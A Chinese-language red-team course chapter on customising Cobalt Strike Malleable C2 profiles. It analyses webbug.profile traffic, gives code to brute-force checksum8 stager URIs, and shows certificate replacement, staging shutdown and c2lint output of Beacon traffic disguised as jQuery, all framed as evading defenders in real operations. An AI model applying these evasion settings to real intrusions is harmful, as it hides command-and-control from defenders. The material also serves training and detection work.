C2 侧写
C2 侧写
Cobalt Strike 支持自定义侧写。自定义侧写不仅可以让我们自定义 Beacon 与 Team Server 之间的通信方式,从网络通信层面实现混淆效果,还可以指自定义证书、 Beacon 行为特征,内存特征例如反射DLL拓展、进程注入设置、后利用选项等等。Malleable C2 仓库(https://github.com/rsmudge/Malleable-C2-Profiles)整合了一系列的 C2 侧写 ,但是考虑到这个仓库是公开的,侧写中的通信模式被标记也是显然的事情。因此,如果用于实战中,我们需要对这些侧写进行二次修改甚至完全重写。
接下来,我们选择一个较为简单的 C2 侧写文件 webbug.profile 作为案例,简要分析 HTTP 协议下的流量特征。HTTPS 监听器相比 HTTP 监听器,增加了 TLS 层对通信的加密,但其他是相似的。值得一提的是,如果在实战过程中更换 C2 侧写,可能会丢失目前的所有 Beacon,这是理所当然的,因为通信模式都改变了。
如下所示的是侧写中的完整内容,该侧写定义了 URI、请求参数、请求头、数据主体等参数,让我们来按模块分析一下这个侧写。
http-get {
set uri "/__utm.gif";
client {
parameter "utmac" "UA-2202604-2";
parameter "utmcn" "1";
parameter "utmcs" "ISO-8859-1";
parameter "utmsr" "1280x1024";
parameter "utmsc" "32-bit";
parameter "utmul" "en-US";
metadata {
netbios;
prepend "__utma";
parameter "utmcc";
}
}
server {
header "Content-Type" "image/gif";
output {
# hexdump pixel.gif
# 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
# 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
# 0000020 01 00 01 00 00 02 01 44 00 3b
prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
print;
}
}
}
http-post {
set uri "/___utm.gif";
client {
header "Content-Type" "application/octet-stream";
id {
prepend "UA-220";
append "-2";
parameter "utmac";
}
parameter "utmcn" "1";
parameter "utmcs" "ISO-8859-1";
parameter "utmsr" "1280x1024";
parameter "utmsc" "32-bit";
parameter "utmul" "en-US";
output {
print;
}
}
server {
header "Content-Type" "image/gif";
output {
prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
print;
}
}
}
# dress up the staging process too
http-stager {
server {
header "Content-Type" "image/gif";
}
}
如下所示的是 http-get 块,定义了 GET 请求的通信模式。set uri 指定了服务器与客户端要使用的 URI,这里是 __utm.gif。如果请求的 URI 与侧写中这里指定的不同,那么会返回 404 响应。
http-get {
set uri "/__utm.gif";
client {
parameter "utmac" "UA-2202604-2";
parameter "utmcn" "1";
parameter "utmcs" "ISO-8859-1";
parameter "utmsr" "1280x1024";
parameter "utmsc" "32-bit";
parameter "utmul" "en-US";
metadata {
netbios;
prepend "__utma";
parameter "utmcc";
}
}
server {
header "Content-Type" "image/gif";
output {
# hexdump pixel.gif
# 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
# 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
# 0000020 01 00 01 00 00 02 01 44 00 3b
prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
print;
}
}
}
client 块中指定了可以添加到 URI 后面的参数,以及固定的数值,通过 key-value 的形式存在。metadata 块则定义了有关 Beacon 所在受控主机的相关信息是如何传递的。这里,这些信息采用了 netbios 编码,为 utmcc 参数的值,并且值的最前端有字符串 "__utma"。
而 server 块定义了来自团队服务器的响应看起来是怎样的,这里,侧写指定了类型为 image/gif 的 Content-type 响应头。output 块定义了返回的数据是怎么被转换的,print 对应数据主体,这里,该侧写在数据主体之前附加了固定的数据。
分析完 http-get 块之后,http-post 块也是类似的语法与含义。让我们看看 Wireshark 视角下的数据包:
我们能看到,通信数据包主要以 GET 请求为主,因为无论是主机首次上线团队服务器,还是受害主机后续通过 Beacon 来向服务器确认存活,都是通过 GET 请求的。
查看其中一个 GET 请求详情,我们能看到侧写文件中定义的 URI,参数与其固定值,metadata 所对应的参数与值等信息。
如果团队服务器有分发任务(这里是执行 getuid 命令),那么任务信息会包含在对 GET 请求的响应中。
如果没有分发的任务,除了添加的固定数据外,则是空的。
当命令在 Beacon 端执行后,客户端通过 POST 请求传输加密后的输出数据。
我们再来说说 Http Stager 监听器。Stageless 的载荷,即是完整的 CobaltStrike Agent,一般在 200-300 KB。一方面,因为尺寸相对较大,且文件的特征更为显著,因此有时操作员会同时启用 Stager 监听器,以及分发 Stager 载荷。Stager 载荷尺寸要小得多,负责从团队服务器的 Stager 监听器上拉取完整的 DLL 载荷并注入于内存中。但 Stager 监听器也有着 OPSEC 上的风险,尤其是 CobaltStrike 对它的实现。
CobaltStrike 使用了 checksum8 的 URL 算法来分发载荷,算法代码如下所示:
public static long checksum8(String text) {
if (text.length() < 4) {
return 0L;
}
text = text.replace("/", "");
long sum = 0L;
for (int x = 0; x < text.length(); x++) {
sum += text.charAt(x);
}
return sum % 256L;
}
public static boolean isStager(String uri) {
return (checksum8(uri) == 92L);
}
public static boolean isStagerX64(String uri) {
return (checksum8(uri) == 93L && uri.matches("/[A-Za-z0-9]{4}"));
}
我们可以通过如下的 Python 代码暴力破解出所有可用的 URI:
from itertools import product
import string
def checksum8(strr):
j = 0
if len(strr) < 4:
return 0
strr = strr.replace("/", "")
for c in strr:
j += ord(c)
return j % 256
chars = string.ascii_letters + string.digits
to_attempt = product(chars, repeat=4)
for attempt in to_attempt:
word = ''.join(attempt)
r = checksum8(word)
if r == 92:
print("{:30} - 32b checksum".format(word))
elif r == 93:
print("{:30} - 64b checksum".format(word))
例如通过 GET 请求访问 /aab9,可以得到 64 位的载荷。
因为防御者很容易拉取载荷进行取证,我们最好直接关闭 Stager 监听器,通过在 http-stager 块上方加入这么一行:
set host_stage "false";
当然,在 C2 侧写文件中我们能指定的远不止这些,并且随着 CobaltStrike 的版本迭代,越来越多新的选项,尤其是关于后利用与内存 Beacon 行为特征规避的设置,可以被团队服务器识别与生效。
关于侧写基础选项的语法可以参考官方文档(https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_profile-language.htm )
我们还在课程的初期阶段,更多后利用与内存特征规避的选项还未接触到(我们会在第 15 章节讨论),但为了避免在中后期因为需要频繁修改侧写文件而丢失所有 Beacon,我们这里可以选择配置了更多选项且相对注重 OPSEC 的 JQuery-C2 侧写,可以在 https://github.com/threatexpress/malleable-c2 下载对应 Cobalt Strike 版本的侧写文件。尽管该侧写本身相对成熟,但毕竟依旧是开源的,因此建议学生你们尝试着自己修改一些选项,正好也算作为巩固的练习。
我们之前已经创建了 SSL 证书,命令如下。
openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out public.crt -keyout private.key
openssl req -new -key private.key -out raven.csr
接着,我们需要把证书和密钥导入到 Cobalt Strike 中。先把证书和密钥合成为单个的 pkcs12 文件,然后通过 Keytool 导入到 Java 的密钥存储。
openssl pkcs12 -inkey private.key -in public.crt -export -out ts.pkcs12
keytool -importkeystore -srckeystore ts.pkcs12 -srcstoretype pkcs12 -destkeystore ts.store
我们导入证书,还可以消除 CobaltStrike 的一个特征,即服务端与客户端之间通信的默认证书。我们不仅能从证书中看到 cobaltstrike 的字样,而且作为默认的证书,各种特征可谓是被标记透了。:
以及修改侧写文件中 https-certificate 部分:,这将促使 HTTPS 的 Beacon 使用配置的证书。这里,我们复用客户端服务端之间通信的证书,如果有着更高的 OPSEC 需求,甚至可以使用不同的证书。
修改前
https-certificate {
#set keystore "/pathtokeystore";
#set password "password";
set C "US";
set CN "jquery.com";
set O "jQuery";
set OU "Certificate Authority";
set validity "365";
}
修改后
https-certificate {
set keystore "team.store";
set password "123123"
}
以及不要忘记修改 teamserver 脚本的最后一行中的 keystore 文件以及密码,保存。
# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=49227 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./team.store -Djavax.net.ssl.keyStorePassword=123123 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar:. -Duser.language=en server.TeamServer $*
编辑好侧写文件之后,我们可以使用 c2lint 工具来检查侧写文件中是否有语法错误,命令为 ./c2lint xx.profile
===============
default
===============
http-get
--------
GET /jquery-3.3.1.min.js HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://code.jquery.com/
Accept-Encoding: gzip, deflate
Cookie: __cfduid=ulR1jVV_g4XsBtP6gUcnDQ
User-Agent: Innocent
HTTP/1.1 200 OK
Date: Tue, 7 Feb 2023 21:45:38 GMT
Server: NetDNA-cache/2.2
Content-Length: 5628
Keep-Alive: timeout=10, max=100
Connection: keep-alive
Content-Type: application/javascript; charset=utf-8
Cache-Control: max-age=0, no-cache
Pragma: no-cache
/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=".P5Hp7_wYePUoNo5wI5rfmmv3rPa1wV8EeZ5ypztvP6TB1wUJxChMFvjV0r4t23umgr2F3g1Oj6ElLcOMF1tqKTnKPLg".(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});
http-post
---------
POST /jquery-3.3.2.min.js?__cfduid=YyphB1oTWTdV HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://code.jquery.com/
Accept-Encoding: gzip, deflate
Content-Length: 27
User-Agent: Innocent
OAitOkVF3h35fDcv099UWCP6S3E
HTTP/1.1 200 OK
Date: Tue, 7 Feb 2023 21:45:38 GMT
Server: NetDNA-cache/2.2
Content-Length: 5543
Keep-Alive: timeout=10, max=100
Connection: keep-alive
Content-Type: application/javascript; charset=utf-8
Cache-Control: max-age=0, no-cache
Pragma: no-cache
/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=".Sl_1SQ".(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});
http-stager
-----------
GET /jquery-3.3.1.slim.min.js HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://code.jquery.com/
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Geccko
HTTP/1.1 200 OK
Date: Tue, 7 Feb 2023 21:45:38 GMT
Server: NetDNA-cache/2.2
Content-Length: 5601
Keep-Alive: timeout=10, max=100
Connection: keep-alive
Content-Type: application/javascript; charset=utf-8
Cache-Control: max-age=0, no-cache
Pragma: no-cache
/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="..WT.U.....R.8.~....}0.{...J7...4....2.L..%.Fj...G)......6.?.....".(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});
dns staging host
----------------
aaa.feeds.123456.<domain> = .resources.123456.[...]
bdc.feeds.123456.<domain>
.dns-beacon.beacon = 'a.bc.'
--------------------------------------------------------
[.dns-beacon.beacon]aaaaaaaa.freepics.losenolove.com.
a.bc.aaaaaaaa.freepics.losenolove.com.
.dns-beacon.get_A = 'b.1a.'
--------------------------------------------------------
[.dns-beacon.get_A]bbbbbbbbb.aaaaaaaa.freepics.losenolove.com.
b.1a.bbbbbbbbb.aaaaaaaa.freepics.losenolove.com.
.dns-beacon.get_AAAA = 'c.4a.'
--------------------------------------------------------
[.dns-beacon.get_AAAA]bbbbbbbbb.aaaaaaaa.freepics.losenolove.com.
c.4a.bbbbbbbbb.aaaaaaaa.freepics.losenolove.com.
.dns-beacon.get_TXT = 'd.tx.'
--------------------------------------------------------
[.dns-beacon.get_TXT]bbbbbbbbb.aaaaaaaa.freepics.losenolove.com.
d.tx.bbbbbbbbb.aaaaaaaa.freepics.losenolove.com.
.dns-beacon.put_metadata = 'e.md.'
--------------------------------------------------------
